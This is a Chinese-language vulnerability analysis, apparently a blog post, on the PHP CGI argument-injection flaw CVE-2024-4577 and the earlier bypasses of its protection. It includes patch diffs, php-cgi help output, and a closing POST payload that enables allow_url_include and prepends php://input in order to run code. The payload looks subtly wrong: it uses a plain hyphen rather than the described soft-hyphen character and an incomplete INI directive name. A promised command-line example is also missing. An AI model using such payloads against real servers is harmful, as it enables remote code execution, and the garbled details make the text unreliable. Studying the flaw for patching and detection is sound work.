漏洞簡介
CVE-2024-4577是一個 PHP CGI 的參數注入漏洞,這個漏洞繞過了 CVE-2012-2311 的保護,透過 windows BEST-Fit 的特性,構造不存在的 urlencode 字元讓 Windows 解析出 - 字元,從而繞過 php cgi 的保護機制。
漏洞分析
要了解這個漏洞,我們需要先坐時光機回到最初的漏洞,也就是CVE-2012-2311更之前的 PHP 5.3.11
CVE-2012-1823
漏洞成因
首先,我們有一個先備知識要知道,那就是 http server 呼叫 CGI 時,會連同 request 的 query 一起當成參數傳給 CGI ,例如:我今天存取了 http://192.168.22.16/php-cgi/php-cgi.exe?foo 時,apache 啟動CGI 的 commandline 其實長這樣:
因此攻擊者只要構造出開頭為 - 的 querystring , CGI 就會把他當成參數解析,從而導致參數注入漏洞。
漏洞修補
針對 CVE-2012–1823 出現的漏洞,PHP在 5.3.12 將漏洞 patch 掉,方法是檢查 querystring 的開頭是不是 -
- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {
+ if(query_string = getenv("QUERY_STRING")) {
+ decoded_query_string = strdup(query_string);
+ php_url_decode(decoded_query_string, strlen(decoded_query_string));
+ if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {
+ skip_getopt = 1;
+ }
+ free(decoded_query_string);
+ }
+ while (!skip_getopt && (c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {
CVE-2012-2311
漏洞成因
在 5.3.12 發佈後不到一個禮拜就被人 bypass 了,因為只要在-前面塞空格就好(?)
漏洞修補
PHP官方很快就發佈了 5.3.13 版本,這次他們先把前面的空白都變不見(pointer往後移),再檢查開頭是不是 -
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
CVE-2024-4577
時隔12年,這個保護機制又被繞掉了,但這次並不影響到全部的php版本,而是只有某些特定語系的 Windows 作業系統,且需要由 CGI 解析才會觸發。
漏洞成因
這個漏洞是因為在 Windows 上有 BEST-Fit 的特性,讓攻擊者在繁體中文等特定語系環境的 Windows 直接生出一個完全不存在的字元(0xad)卻可以被解析成 - ,當然,你也可以透過這份文件,找找看其他語系的 windows 有沒有可以 bypass 的字元。
如何利用
首先,我們可以來看看 PHP CGI 有哪些參數可以下:
❯ php-cgi --help ─╯
Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
php-cgi <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.
應該可以馬上發現, -d 參數非常有用,你可以把所有會妨礙你使用 LFI to RCE 的安全選項全部關掉,然後再用偽協議把髒髒的東西都寫進來
POST http://example.com/?-d%20allow_url_include%3Don%20-d%20auto_prepend%3Dphp%3A%2F%2Finput%2F%0A
phpinfo()
